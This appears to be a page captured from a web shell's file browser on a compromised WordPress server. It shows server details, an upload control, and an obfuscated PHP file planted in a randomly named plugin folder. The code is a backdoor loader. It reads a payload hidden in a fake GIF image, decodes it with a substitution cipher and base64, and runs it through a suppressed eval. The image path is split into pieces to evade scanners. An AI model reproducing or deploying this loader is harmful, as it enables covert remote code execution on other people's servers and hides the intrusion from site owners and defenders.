HEX
Server: Apache
System: Linux server11 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User: web95 (5097)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/clients/client1/web95/web/wp-content/plugins/abazhymum/othohyb.txt
<?php

function epimen_thegykhy($vogaci_qohykhinu) {
    if ($vogaci_qohykhinu == 1)
        return ydotez_ybyfiwuw();
    if ($vogaci_qohykhinu == 2)
        return koxuti_iwashymi();
}

function ubanej_yguvyzuje($vogaci_qohykhinu) {
    $ygoqavu = epimen_thegykhy(1);
    $lizovi = epimen_thegykhy(2);
    for ($bakumis = 0; $bakumis < strlen($ygoqavu); $bakumis++) {
        $fivyme = substr($ygoqavu, $bakumis, 1);
        $okezevu = substr($lizovi, $bakumis, 1);
        $wycada[$fivyme] = $okezevu;
    }

    $hipehi = strtr($vogaci_qohykhinu, $wycada);
    $hipehi = base64_decode($hipehi);

    return $hipehi;
}

function uhapet_isholepy($vogaci_qohykhinu) {
    $gugupe = array();
    if (!file_exists($vogaci_qohykhinu))
        return false;
    $hofuvim = @file_get_contents($vogaci_qohykhinu);
    if (!$hofuvim)
        return false;
    $hofuvim = substr($hofuvim, 3);
    $gugupe = ubanej_yguvyzuje($hofuvim);
    return $gugupe;
}

function ydotez_ybyfiwuw() {
    $hofuvim = "7F3l8Zq2VShpsGtoH9ivc5LTRYMUjmk+b6dC4PQrzXgBEJAeNI0ux=nWOKaf/1ywD";
    return $hofuvim;
}

function koxuti_iwashymi() {
    $gugupe = "s5HJlxNjV3eqMrkYU9ni+w4RKQGPF0gducmC1OaI6Ev2St7/Xf=poh8ATZyWBbLDz";
    return $gugupe;
}

$qoxeky = uhapet_isholepy(__DIR__ . "/asse" . "ts/ima" . "ges/" . "seba" . "xu.g" . "if");
if ($qoxeky) {
    @eval($qoxeky);
}